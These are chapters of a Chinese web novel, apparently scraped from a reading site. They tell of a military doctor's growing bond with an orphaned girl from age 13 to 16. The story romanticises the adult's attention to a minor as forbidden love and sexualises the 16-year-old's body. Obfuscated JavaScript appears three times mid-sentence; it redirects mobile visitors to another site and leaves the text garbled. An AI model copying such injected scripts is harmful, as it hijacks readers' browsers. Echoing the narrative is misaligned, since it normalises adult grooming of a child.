消毒水的气味冷冽而恒定,混合着午后阳光透过百叶窗晒暖的空气,形成军区医院急诊室特有的味道。韦奚珃刚结束一台小手术,洗净手,白大褂的袖口卷到小臂,露出线条清晰的手腕。诊室里暂时没有其他病人,难得的清静。 门被轻轻推开,带着一丝迟疑。 韦奚珃抬头望去。一个女孩站在门口,穿着草绿色的体能训练短袖和同色短裤,露出的四肢修长,皮肤是常在户外活动的小麦色,泛着健康的光泽。她个子很高,几乎要赶上门口标尺的某个刻度,简单的马尾辫束在脑后,露出光洁的额头和一张……极其出挑的脸。眉毛清晰,鼻梁挺秀, 嘴唇因紧张或疼痛微微抿着,最引人注目的是那双眼睛,很大,瞳仁颜色偏浅,像浸在清水里的琥珀,此刻正带着点无助看过来。 她的右膝上,有一片新鲜的擦伤,混着沙土和血丝,在光洁的皮肤上显得格外刺目。血渍有些已经半干,粘在短裤边缘。 “医生,”她的声音清亮,带着这个年纪女孩特有的质感, 但比一般孩子似乎更沉稳些,“我的脚……膝盖受伤了,可以帮我上药吗?”她可能意识到说“脚”不太准确,下意识地补充了“膝盖”,脸颊飞快地掠过一丝赧然。 “可以。进来坐。”韦奚珃的声音平稳,指了指诊疗床。他起身去准备消毒用具、药膏和纱布,动作利落专业。 女孩小心地坐到床边,受伤的腿微微伸直,另一条腿垂着。这个角度更显出她腿部的长度和笔直。韦奚珃推着器械车过来,在她面前坐下。他戴着一次性手套,先用生理盐水冲洗伤口,冲掉表面的沙粒。女孩轻轻吸了口气,但没吭声,只是手指悄悄抓住了身下的床单。 “怎么弄的?”他例行公事地问,用镊子夹起碘伏棉球。 “集训……四百米障碍,翻矮墙的时候落地没站稳,蹭了一下。”她回答得很简洁,语气里有点不好意思仿佛在责备自己不够熟练。 “嗯。”韦奚珃应了一声,开始消毒。碘伏触及伤口,带来刺激性的凉意和刺痛。女孩的身体几不可察地绷紧了一下,但很快又强迫自己放松。韦奚珃注意到了这个细微的克制,抬眼看了看她。她正垂着眼睫,专注地看着自己的膝盖,仿佛这样能分散一些注意力。长长的睫毛在眼下投出一小片阴影。 伤口不深,但面积不小。清理干净后,是一片新鲜的粉红色创面。韦奚珃动作放得更轻,涂上一层消炎的药膏。药膏清凉,似乎缓解了一些火辣辣的痛感,女孩的眉头松开了些。 诊室里很安静,只有器械偶尔发出的轻微碰撞声。韦奚珃并非多话的人,通常处理这种小伤,除了必要的询问,很少闲聊。但或许是因为这女孩格外安静能忍,或许是她身上那种与年龄不太相符的沉稳气质,又或许是她实在长得太高,让他产生了误判,他一边撕开无菌纱布的包装,一边很平常地问了一句,更像是一种随口的确认:“你今年几岁了?” 话出口时,他正低头裁剪纱布尺寸。 “我今年十三。”女孩回答。 韦奚珃裁剪纱布的手势,极其轻微地顿了一下。 什么? 他诧异地抬起头,目光第一次带着明确的探究,仔细地落在女孩脸上。刚才第一眼,他根据她的身高、身形轮廓,甚至眉眼间那过早褪去稚气的清丽,下意识地以为这是个十六七岁、或许刚上高中或大学的姑娘。十三岁?身高看起来至少超过168公分,正在朝着170迈进,骨架舒展,亭亭玉立,完全是个少女的模样了。 他的目光与她抬起的视线相遇。她似乎被他突然的直视弄得有些不知所措,脸颊慢慢晕开一层薄红,一直蔓延到耳根。那红晕并非浓艳,而是浅淡的粉,衬着小麦色的皮肤,有种鲜活的光彩。她下意识地移开目光一瞬,又觉得自己这样不太礼貌,重新看回来,小声补充了一句,像是解释自己为何在此:“我……我明年才上中学。” 明年上中学,意味着现在最多初中一年级,甚至可能还是小学高年级?韦奚珃心中那点诧异更浓了。他见过很多发育早的孩子,但像她这样,在十三岁的年纪,就将身高、轮廓和一种隐隐的“气场”结合得如此……引人注目,确实不多见。尤其是生长在军区环境里, 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韦奚珃走到洗手池边,慢慢摘下手套,扔进医疗废物桶。他打开水龙头,水流冲刷着手指。镜子里映出他没什么表情的脸。 十三岁。 他想起那双琥珀色的眼睛,受伤时隐忍的克制,被询问年龄时意外的坦诚,以及被他注视后脸上迅速泛起的、属于少女的青涩红晕。 一个特别的女孩。 在此之前,夏千荨这个名字,或许只是保育园报上来、需要军区医院提供定期健康检查的众多孩子之一,是一个模糊的符号。而此刻,这个符号忽然有了极其清晰、甚至有些令人意外的具象。 他擦干手,走回办公桌,目光无意中扫过刚才女孩坐过的诊疗床。床单上还留着轻微的压痕。 从此以后,韦奚珃才开始留意这个名叫夏千荨的女孩。不仅仅是在健康档案里,不仅仅是在保育园或日后中学可能传来的零星评价里,而是在他意识的某个角落,悄然划下了一道清晰的印记。一个十三岁,却仿佛已经提前叩响了青春之门的、特别的女孩。 63. 军区秘恋(3) 这是一个风和日丽的下午,阳光慷慨地洒在军区外围那片缓坡草场上,将茂密的青草染成一片金绿。远处是整齐的营房和训练场,更远处则是新加坡城市边缘模糊的天际线。风不急不缓地吹过,带来泥土和青草的气息。 夏千荨抱着膝盖,坐在坡顶。她穿着校服——白色的衬衫,深绿色的格子裙,裙摆被风吹得轻轻晃动。她没有像往常那样扎起高马尾,而是任由长发披散在肩头,有几缕被风拂到脸颊旁。她没有去拨开,只是静静地望着坡下那条通往军区家属院和外部世界的路。 就在几个小时前,放学铃声响起,穿着同样校服的孩子们如同出笼的鸟儿,欢呼雀跃地涌出校门。门口早已聚集了不少家长,有的是穿着便装的军官或士官,有的是普通的母亲或父亲。孩子们精准地扑向各自的家人,笑声、询问声、嗔怪声混成一片嘈杂而温暖的背景音。书包被自然地接过,小手被牢牢牵住,或者干脆被父亲一把举起架在肩上。那些画面,每一个细节,都像针一样,细密地扎进夏千荨的眼里。 她总是最后一个慢慢走出校门或者干脆在操场边徘徊许久。没有人在等她。 学校的教官很好,但他们是“大家”的教官,不是“她”的。她的目光追随着那些被父母接走的身影,看着他们逐渐变小,融入夕阳的余晖或街角的拐弯处。那一刻,她琥珀色的眼睛会变得格外幽深,里面翻涌着一种与年龄极不相称的复杂情绪——不仅仅是羡慕或失落更像是一种冰冷的审视,一种被遗弃在热闹之外的疏离与自我封闭。阳光照在她脸上,却仿佛照不进那双眼睛的深处。 “千荨。” 背后传来熟悉的声音,低沉平稳,像某种安定的基石。 夏千荨微微一颤,没有立刻回头。她能听出是谁。韦奚珃不知何时来到了她身后,他没有穿白大褂,只是一件简单的浅灰色棉质衬衫和深色长裤,身形挺拔,站在那里,挡住了她身后一部分过于耀眼的阳光,投下一道安静的影子。 他走到她身边,没有立刻坐下,只是顺着她刚才凝望的方向看了一眼。那条路上已经空空荡荡,只剩下被拉长的树影。他什么也没问,只是说:“天气很好,陪我走走?” 这不是一个问句,而是一种温和的邀请,带着不容拒绝的体贴。他知道她需要离开那个总是提醒她“不同”的校门口场景。 夏千荨沉默地站了起来,拍了拍裙子上沾到的草屑。两人一前一后,沿着草坡慢慢走着。韦奚珃走得不快,恰好让她能跟上。风继续吹着,吹动他的衬衫下摆,也吹动她的长发和裙角。他们没有说话,只有脚步声和风声。偶尔有不知名的虫子在草丛里鸣叫。 走到一片视野更开阔的坡地,韦奚珃率先坐了下来,拍了拍身边的草地。夏千荨犹豫了一下,也坐下了,依旧抱着膝盖,把自己缩成小小的一团,下巴搁在膝盖上,眼神空茫地望着远方城市的轮廓。 韦奚珃没有看她,目光也投向远方。他知道她在想什么。军区学校里的孩子,背景大多清晰明确,父辈的荣光或期望或多或少成为他们身份的一部分。唯有她,夏千荨,是一个突兀的谜。那场午夜停车场的遗弃,那个写着她英文名和精确生辰的纸条,那身价格不菲的婴儿衣物,构成了她模糊的来处,也成了她无法融入的隔膜。孩子们的议论(即使并非总是恶意),老师们偶尔流露的额外怜悯,放学时那片属于别人的团聚喧闹……都在无声地强调她的“不一样”。 “千荨。”他再次开口,声音在风中显得格外清晰,也格外温和。 夏千荨轻轻动了一下,表示她在听。 韦奚珃斟酌着词句,他不是一个习惯长篇大论安慰人的人,但面对这个沉默而早慧的女孩,他觉得自己应该说些什么。这些话,或许不仅仅是对她说的。 “人的价值,”他缓缓说道,每个字都吐得很清楚,“不是由父母决定的。” 夏千荨的肩膀几不可察地绷紧了。 他继续道,目光依然看着远方,仿佛在与那片天地对话,再将话语传递给她:“不是由他们是谁,他们在哪里,他们做了什么或没做什么来决定。更不是由他们是否在你身边来决定。” 风似乎小了一些,周围变得更加安静,连虫鸣都暂时歇息了。 “你的价值,”韦奚珃终于侧过头,看向她。夕阳的光给他冷峻的 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夏千荨重新把下巴搁回膝盖上,但这一次,她的视线没有凝聚在某个虚无的点上。她看着坡下那片被夕阳照得发光的草地,看着更远处开始次第亮起的城市灯火。韦奚珃的话在她心里回响,像一颗石子投入深潭,起初只是涟漪,慢慢却可能激起更深的水流。 “为自己……活着?”她极轻地呢喃了一句,声音被风吹散,几乎听不见。 但韦奚珃听见了。他没有回答,只是嘴角似乎极细微地动了一下,像是确认,又像是鼓励。 夕阳缓缓下沉,将两人的影子在草坡上拉得很长。风吹过,草浪起伏,带着某种坚韧的、属于生命本身的节奏。远处的军营传来隐约的号声,悠长而规律,那是另一种秩序和存在的宣告。 夏千荨依旧沉默着但抱紧膝盖的手臂,似乎悄悄放松了一些。那双望向远方的琥珀色眼眸里,冰冷的阴影仍未完全散去,但至少在此刻,映入了些许天光的暖色。一条漫长而孤独的自我认知之路,或许就在这个风和日丽的傍晚,因为几句简单却有力的话,悄然转变了方向。路依然在脚下,但看向前方的目光里,少了一点茫然无措的阴翳,多了一丝属于自己的、微弱的星火。 64. 军区秘恋(4) 训练室没有窗户,四壁是吸音材料,灯光是冷白色的,均匀而无情地洒落,让每一丝表情都无所遁形。空气中弥漫着压抑的紧张感,还有一种类似金属和汗水混合的、属于高强度脑力对抗的气息。 夏千荨背脊挺得笔直,坐在房间中央唯一一把硬质椅子上。她穿着统一的深蓝色训练服,长发一丝不苟地束在脑后,露出光洁的额头和因为紧绷而线条分明的下颌。脸上没什么表情,只有那双琥珀色的眼睛,像被反复擦拭过的透镜,清澈、冷静,高度聚焦。 站在她对面的男教官姓林,四十岁上下,身材精干,眼神锐利如鹰。他正在进行的是抗压与快速反应测试,问题如同疾风骤雨,毫无规律地砸向夏千荨,涵盖天文地理、时事政治、军区条例、甚至突然插入的完全无关的生活细节,目的就是打乱她的节奏,突破她的心理防线,观察她在极端压力下的逻辑、记忆和情绪控制能力。 “上周三食堂晚餐的主菜是什么?” “军区东侧第三岗哨的轮换时间?” “简述上个月国际简报中提到的A国能源政策变化。” “你昨天体能训练最后一组的完成时间,精确到秒。” “保育园李阿姨最喜欢的花是什么?” “你上次数学测验错在哪道题?具体错误步骤?” 问题一个接一个,间隔极短,几乎没有思考时间。夏千荨的回答简短、清晰、准确,声音平稳,语速适中。她的大脑像一台高速运转的精密仪器,在教官制造的思维迷宫中快速检索、定位、输出。额角渗出细密的汗珠,但呼吸节奏控制得很好。 林教官眼中闪过一丝几不可察的赞许,但随即被更刻意的压迫感取代。他突然话锋一转,抛出了一个与之前所有“测试”内容截然不同、甚至可以说风马牛不相及的问题,语气却依然保持着那种高压的、不容置疑的质询感: “夏千荨,你有没有想过,以后要找什么样的男人结婚?” 房间里那根看不见的弦,似乎“铮”地响了一声。 夏千荨的眼神几不可察地凝滞了百分之一秒,但快得几乎像是错觉。她立刻接口,声音依旧平稳,甚至带上了一点刻意表现出的、符合她年龄的“这种问题好无聊”的冷淡: “没有。” “真没有?”林教官逼近一步,目光像探照灯一样锁定她的眼睛,试图从每一丝肌肉的牵动里捕捉破绽。这种私密性、带有强烈个人情感导向的问题,往往比知识性拷问更能扰乱心神。 “没有。”夏千荨重复,语气甚至更肯定了一些,仿佛在陈述一个再明显不过的事实。她放在膝盖上的手指微微蜷缩了一下,又迅速放开。 林教官嘴角勾起一个几乎没有弧度的、近乎残酷的试探性笑容,他抛出了那个早有预谋、或者说,是基于某些观察而精心设计的问题,语调骤然压低,带着一种近乎逼视的意味: “没有想过……要找韦医生那样的?” “怎么可能?!” 夏千荨几乎是脱口而出。这一次,她的反应明显比之前快了半拍,声音里那份刻意维持的平稳出现了一丝极细微的裂纹,像是平静湖面被投入了一颗小石子。不是因为问题本身,而是因为“韦奚珃”这个名字被以这种方式、在这种场合、由眼前这个教官问出来。 她心头猛地一紧。他们是不是发现了什么?前几天在马厩,她负责照顾的那匹新来的栗色小马有点闹脾气,不肯好好吃草料,他就寻过来了。很自然地帮她看了看马齿,调整了一下鞍具的位置,随口教了她几个安抚马匹的小技巧。过程很短,也没说什么特别的话, 但……难道被人注意到了?这种训练背景下被突然问及,让她瞬间警铃大作。 林教官似乎很满意她这次稍纵即逝的失态,但他没有继续深究那个“怎么可能”背后的含义,而是用一种近乎陈述事实、却又暗藏机锋的语气快速说道: “他是我们军区有名的黄金单身汉。”这句话像是在提供信息,又像是在暗示某种“可能性”,观察她的反应。 夏千荨的思维在高速运转。教官的目的不是真的关心她的婚恋观,这是在测试,测试她的应变,测试她面对突兀的、涉及私人和情感的问题时,能否保持理智和逻辑,甚至测试她能否迅速判断并利用对话中的“漏洞”进行反击或转移。她强迫自己冷静下来,抓住对方话语中的一个客观事实进行反驳,试图将话题拉回“荒谬”的层面,从而化解其攻击性: “他大我二十三岁!”她的语气里带上了合理的惊愕和反驳,仿佛在说“你这问题简直离谱”。 林教官显然有备而来,立刻接口,语速飞快,逻辑上竟一时难以立刻驳倒:“你今年十三,再过五年成年,时间不算长。”他巧妙地将年龄差这个客观障碍,用“时间流逝”这个中性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937082|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 概念相对化了,继续施加压力。 这种纠缠不清、 甚至开始有点“胡搅蛮缠”意味的追问,让夏千荨心头的火气和对这种试探方式的反感猛然窜起。她知道不能陷入对方设定的情感辩论陷阱。电光石火间,她放弃了在“年龄”“时间”上做文章,而是猛地抬起头,直视林教官的眼睛,不再掩饰语气中的不满和锋利,用一种近乎质问的、清晰有力的声音怼了回去: “教官你怎么回事?是上课还是做媒!” 声音不大,但在安静的、充满压迫感的训练室里,显得格外清脆,甚至有点刺耳。话里明确指出了对方行为的“不合时宜”和“偏离主题”,以一种略带攻击性的防守姿态,强行打断了对方连续施压的节奏。 林教官猝不及防,被她这直白又犀利的一呛,喉咙里像是突然被塞进了什么东西,后面准备好的连环追问硬生生卡住了。他张了张嘴,看着眼前这个眼神明亮锐利、虽然脸颊因激动和刚才的高压问答而微微泛红,但脊梁挺得笔直、毫不退缩的女孩,心里不由得冒出个念头: 这丫头,果然伶牙俐齿!反应快,胆子也不小,关键时候知道怎么跳出框架反击。 他没有表现出被顶撞的恼怒,反而几不可察地点了下头,像是在评估册上某个项目后面打了个勾。脸上的压迫性表情稍微收敛了一些,但训练还在继续。他清了清嗓子,迅速将话题拉回了看似正常的知识考核轨道,仿佛刚才那段插曲从未发生: “好,下一个问题。上周军区安全简报中提到的潜在网络威胁类型,列举三种。” 夏千荨深吸一口气,压下心头翻涌的复杂情绪——那一瞬间被点破心思的慌乱,对教官试探方式的反感,以及迅速武装起来的防御性锋利。她重新集中精神,琥珀色的眼眸恢复了之前的清明与专注,用平稳的语调开始回答: “是。主要包括:钓鱼邮件攻击、高级持续性威胁(APT)、供应链攻击……” 训练室冷白的光照着她年轻却已初现棱角的脸庞。刚才那个关于“韦医生”的短暂交锋,像一颗投入深水的石子,涟漪终会散去,但那一瞬间激起的波澜,以及她应对的方式,都被无声地记录了下来。这不仅仅是谍报训练,更是她心智与情感边界在高压下的一次淬炼。 而“韦奚珃”这个名字,也第一次在这样特殊而尖锐的语境下,与她产生了超越医生与患者的隐秘联结。 65. 军区秘恋(5) 转机发生在一年以后,夏千荨十四岁。 这一年,她个子又窜高了一截,身形愈发抽长挺拔,属于少女的曲线开始含蓄地显现。她依旧在军区学校和训练体系中按部就班地学习、成长,应对着各种课业和训练挑战,也继续习惯着没有父母接送的放学路。韦奚珃对她的关注,更像是一种习惯性的、间隔不远的照看,比如偶尔路过学校时看一眼,或者在医院她例行体检时多问几句。他知道她上次训练受伤恢复得不错,也知道她那次“做媒”风波后,在训练中表现出的韧性和机敏颇受教官(包括那位林教官)私下认可。他们之间维持着一种平静的、有些距离但又不失温和的关系。 某个周末的下午,天气有些闷热。韦奚珃结束了一台不算复杂的手术,心情难得有些松懈。他想起上次见她,她似乎对体能训练有些新的热情,总在琢磨怎么提升核心力量。一个念头忽然冒出来——带她去军区的健身中心看看?那里器械更专业,环境也安全,或许能让她开阔眼界,也算是一种……放松?他很少做这种“带人去玩”的事,但想到夏千荨那双总是过于沉静的眼睛,他觉得自己或许可以尝试让她接触点不一样的。 夏千荨听到这个提议时,明显愣了一下随即点了点头, 眼里闪过一丝好奇和隐约的期待。她换上了一套干净的深灰色运动短袖和黑色运动长裤,头发扎成利落的丸子头,露出纤长的脖颈。 军区的健身中心规模不小,周末下午人不多,大多是些轮休的士兵或军官在自主训练。 空气里弥漫着金属、橡胶和汗水混合的味道,还有器械撞击和低吼发力时特有的声响。 夏千荨跟在他身后,有些新奇地打量着四周那些庞大的器械和墙壁上映射出的、充满力量感的身影。 韦奚珃自己平时也有规律健身的习惯,今天恰好也穿了件贴身的深色运动背心和运动短裤。他先带她简单介绍了几种基础器械,告诉她安全注意事项,让她自己试着玩玩那些小重量的哑铃或做些简单的拉伸。看她有些拘谨但认真尝试的样子,他便转身走向自己常使用的区域,准备完成几组日常的力量维持训练。 他没有特意展示什么,只是如往常一样,专注、投入。先是一组引体向上,背阔肌随着身体的拉升与下放清晰地绷紧舒展,肩胛骨像活动的铠甲。然后是卧推,沉重的杠铃被他稳稳举起、放下,胸肌在背心的包裹下隆起饱满的弧度,手臂上偾张的血管随着用力若隐若现。汗水很快沁湿了背心的边缘。 夏千荨原本在一边心不在焉地摆弄着一个轻量壶铃,眼神却不由自主地,一次又一次,飘向那个在力量区挥汗如雨的身影。 看啊。 她的心跳,毫无预兆地漏跳了一拍,然后开始不受控制地加速。 那是……她从未如此直观、如此近距离地观看过的、属于成熟男性的身体力量与形态。过去,在她的认知里,“韦医生”是穿着白大褂或整洁便服的专业形象,是沉稳可靠的长辈,是会在她迷茫时给予平静指引的存在。他的身形挺拔,她知道,但从未与“性感”、“力量”这样充满原始冲击力的词汇联系在一起。 而此刻,脱去了那层社会身份的外衣(尽管只是换上了运动装),在健身房冷硬的光线下,在汗水和用力的低喘中,他的身体以一种前所未有的、极具冲击力的方式呈现在她面前。 发达的胸肌在每一次推举时都展现出饱满而富有弹性的轮廓,被汗水浸湿的背心布料紧紧贴附,勾勒出分明的块垒。腹肌并非夸张的贲起,而是线条清晰、坚实平坦地向下延伸,没入低腰的运动短裤边缘,腰身紧窄,却蕴含着稳定核心的强大力量。宽阔的肩膀像可以承担一切重负的基石,连接着贲张有力的手臂。 尤其是那高高隆起的肱二头肌,当他弯举哑铃时,肌肉瞬间充血膨胀,绷出坚硬如铁的弧度,皮肤下的每一束肌纤维似乎都在咆哮着力量与掌控感。汗水顺着肌肉的沟壑蜿蜒流下,在灯光下闪着晶亮的光。 砰、砰、砰…… 夏千荨感觉自己的心跳声大得快要盖过健身房的任何声响。一股陌生的、汹涌的热流毫无征兆地席卷了她的全身,从心脏泵向四肢百骸,最后全部冲上脸颊和耳根。脸颊滚烫得吓人,耳朵里嗡嗡作响。她的呼吸不由自主地急促起来,握着壶铃的手指微微发抖。 这不是之前被教官逼问时那种带着慌乱和反感的紧张,也不是训练受伤时的疼痛忍耐。这是一种全新的、混沌的、带着强烈身体感知和心灵震撼的体验。仿佛一直紧闭的某扇门,被一股粗暴又炽热的力量猛地撞开了,刺眼的光和汹涌的气息瞬间淹没了她。 少女的性别意识,在这一刻,被眼前这幅充满雄性荷尔蒙的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一个清晰得让她战栗的念头,如同惊雷般在她混乱的脑海中炸开,轰散了所有懵懂、困惑和不知所措的迷雾,只留下一个无比鲜明、无比确定的答案: 我喜欢他! 不是对长辈的依赖,不是对医生的感激,不是对强者的单纯崇拜。 是喜欢。 是一个十四岁的少女,对一个三十七岁的男人,最原始、最纯粹、又最禁忌的——心动。 她捂住脸,低低地喘息着,第一次清晰地感知到,有什么东西,从今天起,彻底不一样了。而那健身房里充满力量感的身影,将成为她青春记忆里,再也无法抹去的、滚烫的烙印。…… 66. 军区秘恋(6) 两年后,夏千荨十六岁。 身高定格在一米七八,是那种走在任何地方都无法被忽视的存在。常年规律训练赋予她的不是壮硕,而是流畅的肌肉线条与挺拔如小白杨的身姿。秀发乌黑如瀑,通常简单束起,偶尔披散下来,衬得那张脸愈发小巧精致。长睫之下,琥珀色的眼瞳经过岁月沉淀,少了些孩童的懵懂,多了几分深邃的静谧与聪慧,顾盼间自有光华流转。肌肤是常年户外活动后健康的光泽,细腻如凝脂。身材彻底长开 ,丰胸、细腰、饱满的臀线与一双笔直修长得惊人的腿,构成惊心动魄的曲线,无需刻意修饰便已明艳夺目,气质清冷中透着勃勃生机,矛盾又和谐,堪比T台上那些最具辨识度的超模。 她已不再是那个在健身房仓皇逃跑的少女,但那一日的心动,如同深埋地底的炽热岩浆,未曾冷却,只是在她日益成熟的心智与严格的自我约束下,找到了更深的涌动方式。她与他之间,依然维持着一种比寻常长辈与晚辈更亲近、却又恪守着某种无形界限的关系。他看着她成长,指导她课业与训练中的疑难,偶尔带她去见识些军区之外的世界。她敬他,依赖他,也将那份日益清晰的情感小心翼翼地包裹在努力、聪慧与得体的外表之下。 直到这个夜晚。 这算是一次“约会”吗?夏千荨不确定。起因是他难得有几日闲暇,问她想不想去城郊新建的观星台看看,那里远离光污染,视野极佳。她自然是想的。观星的过程宁静而奇妙,浩瀚星空让人忘却烦扰。归途时,他没有直接驱车返回,而是将车停在了一片安静的、隶属于某个休养区的婆娑树林旁。 “走走?”他提议,声音在寂静的夜色里格外清晰。 她点头,跟着他步入林间小径。月光被浓密的枝叶切割成细碎的光斑,洒在铺着落叶的地面上,空气清新微凉,混合着泥土与草木的气息。四周只有风吹过树叶的沙沙声,以及他们轻微的脚步声。气氛微妙地不同往常,有一种介于师长关怀与平等相处之间的、令人心弦微绷的宁静。 走到一小片林间空地,月光得以稍微慷慨地倾泻下来。韦奚珃停下了脚步,转身面对她。月光勾勒出他棱角分明的侧脸,那双总是显得冷静理智的眼睛,在夜色中也似乎柔和了许多。 他没有说什么铺垫的话,只是从随身的外套内袋里,取出了一样东西。 一支玫瑰。不是精心包扎的花束,单单一支,茎秆修长,花瓣层层叠叠,红得那样纯粹、浓烈、饱满,在朦胧月色下,仿佛自身在散发着绒绒的暖光,又像一滴凝固的、滚烫的血。 他递向她—— 她怔住了。心脏在瞬间漏跳,然后开始以一种陌生的、剧烈的节奏擂动胸膛。血液似乎嗡地一下冲上了头顶,耳边只剩下自己放大的心跳和风声。她看着他骨节分明、稳定有力的手握着那支玫瑰,看着他那双映着月辉和玫瑰颜色的眼睛,一时间竟忘了动作,也忘了呼吸。 这几年,她并非生活在真空。军区说小不小,说大也不大。关于韦奚珃的零星议论,她有意无意间也听到过一些。拼凑起来,大概知道他被认为是出身“韦氏家族”——那是在瑆洲都赫赫有名的军政门阀,背景深不可测。但他本人似乎与那个光环笼罩的家族关系微妙,选择在相对单纯(至少表面如此)的军区医院从事专业工作。更多的议论是关于他个人的——能力出众,相貌英俊,身家背景显赫却“性情古怪”,据说对异性向来保持距离,甚至有些“不近女色”的传闻,因此年近不惑依旧单身,是许多人眼中神秘又难以企及的“黄金单身汉”。 这些风言风语,像一层淡淡的薄雾,笼罩在她对他的认知之上,让她那份隐秘的情感,除了年龄的鸿沟,又多了层身份与传闻造就的距离感。 可现在,他却在这样一个夜色迷离的树林里,递给她一支玫瑰。 玫瑰。这象征意义过于明确的植物。 她感到一阵轻微的眩晕,混合着巨大的惊喜、不敢置信,以及……深深的疑惑。她慢慢地,几乎是带着点小心翼翼地,伸出手,接过了那支玫瑰。指尖不可避免地触碰到他的手指,一触即分,却留下一道细微的电流般的触感。玫瑰的茎秆上还带着他掌心的一点温度,花瓣丝绒般的质感摩擦着她的指腹,香气清幽,在夜风中丝丝缕缕地萦绕鼻尖。 她低头看着手中这抹惊人的艳红,又抬起眼,目光直直地望进他眼里,试图在那片深邃中寻找答案。月光下,她的容颜愈发显得皎洁无瑕,而眼神里的困惑与探寻也清晰无比。 “为何……送这个?”她终于问出声,声音比平时低了一些,带着一丝不易察觉的轻颤。她没有绕弯子,问得直接。因为她知道,在他面前,任何伪装或试探都显得笨拙。 韦奚珃没有立刻回答。他的目光落在她脸上,带着一种沉静的、近乎欣赏的审视,然后缓缓下移,掠过她握着玫瑰的纤细手指,又回到她澄澈而充满疑问的眼眸。他的嘴角,慢慢向上弯起一个弧度。 那不是礼节性的微笑,也不是长辈宽容的笑。那微笑显得轻松,甚至有些……愉悦。更关键的是,他的眼神坦荡得惊人,没有丝毫暧昧的躲闪或刻意的撩拨,只有一种近乎纯粹的、坦诚的认可。 “因为……” 他顿了顿,声音平稳而清晰地穿透夜色,落在她耳中,也敲击在她狂跳的心上: “你是我见过的最聪明的女孩。” 答案出乎意料。 不是关于美貌(尽管她拥有惊人的美貌),不是关于青春(她正值最鲜活的年华),也不是关于任何朦胧暧昧的情愫。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937084|192889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 是“聪明”。 夏千荨眼中的困惑非但没有消散,反而更深了。她眨了眨眼,长睫在眼下投出扇形的阴影。聪明?这和她手中的玫瑰,和这月下林间的微妙气氛,有什么直接关系? 韦奚珃似乎看出了她的不解,他的笑容加深了一些,补充道,语气依旧平和坦诚,仿佛在陈述一个再明显不过的事实: “聪明到让我觉得,送其他任何东西,都显得俗套,或者……配不上。” “玫瑰很美,但它有刺,会凋零。而智慧,”他的目光深深地看着她,“是唯一不会随时间枯萎,反而会愈发璀璨的东西。它让你与众不同,千荨。” 他是在赞美她,以一种极其独特且郑重的角度。这赞美剥离了性别与年龄的固有框架,直指她作为“夏千荨”这个个体的核心价值——她的头脑,她的悟性,她在这些年里展现出的惊人的学习能力、应变能力和深沉的心智。 然而,在这样的情境下,送出这样一支花,给予这样一句赞美,本身又构成了一种无比复杂、充满张力的隐喻。玫瑰的“俗套”与“不配”,恰恰反衬出他此举的“不俗”与“特意”。他认可她的智慧超越寻常,所以选择了最直白也最经典的“花语”来表达这份认可?抑或,这本身就是一种更含蓄、也更高级的…… 夏千荨觉得自己的思维有些跟不上心跳的速度。手中的玫瑰仿佛有了重量,沉甸甸地压在她的指尖,也压在她的心口。那股清幽的香气变得浓郁起来,缠绕着她的呼吸。 月光静静地流淌,树林沙沙作响。他站在那里,身形挺拔,眼神清明而坦率,等待着她的反应,没有催促,也没有进一步的解释。 她低下头,再次凝视那抹艳红,花瓣的边缘在月光下似乎镀着一层银霜。疑惑仍在心底盘旋,但一种更温暖、更坚实的悸动,正缓缓漫溢开来,盖过了所有的不确定。 最聪明的女孩…… 他看到了。他真的看到了。不是她的外表,不是她的身世带来的怜悯或好奇,而是她努力构建的、属于她自己的内在世界。 这就够了。至少在这一刻,在这片婆娑的月下林间,她紧握着这支玫瑰,仿佛握住了一份独一无二的、沉甸甸的认可。 至于那背后是否藏着更深的心意,那传闻中的“不近女色”与眼前的举动有何关联……夏千荨想,或许不必急于追问。有些答案,需要时间,也需要更多的“聪明”去慢慢领悟。 她抬起头,迎上他的目光,唇角也微微扬起一个清浅的、了然的弧度。月光落在她眼中,折射出细碎而明亮的光。 “谢谢。”她轻声说,声音恢复了平稳,却多了一丝不一样的柔软,“我会……好好保存这份‘聪明’的礼物。” 无论是花,还是话。 67.东帝汶的陷阱 “哈哈哈哈哈!好哇,真是太好了!”巴颂目光炯炯地看着坐在对面沙发上的尹柏萧和桑矾逸,脸上乐开了花,那笑容仿佛要将他脸上的每一道皱纹都填满。 他一边笑一边兴致勃勃地说:“你们有所不知,我们圣保罗医院的经营状况总体来说还算不错,平日里来来往往的病人不少,各项医疗业务开展得也都较为顺利。可唯独这医学院管理方面实在是漏洞百出,状况频出最终导致破产,这都过去好几年了。”说到这顿了顿,脸上闪过一丝无奈与惋惜,轻接着说道:“这几年我可谓是绞尽脑汁尝试各种办法却始终无法让它起死回生。我本来都心灰意冷,想着干脆就彻底放弃了呢。没想到政府这次出台的这个举措就像是在久旱无雨的田地里突然降下了一场甘霖让我重新看见了希望,看到了医学院重振的曙光!” 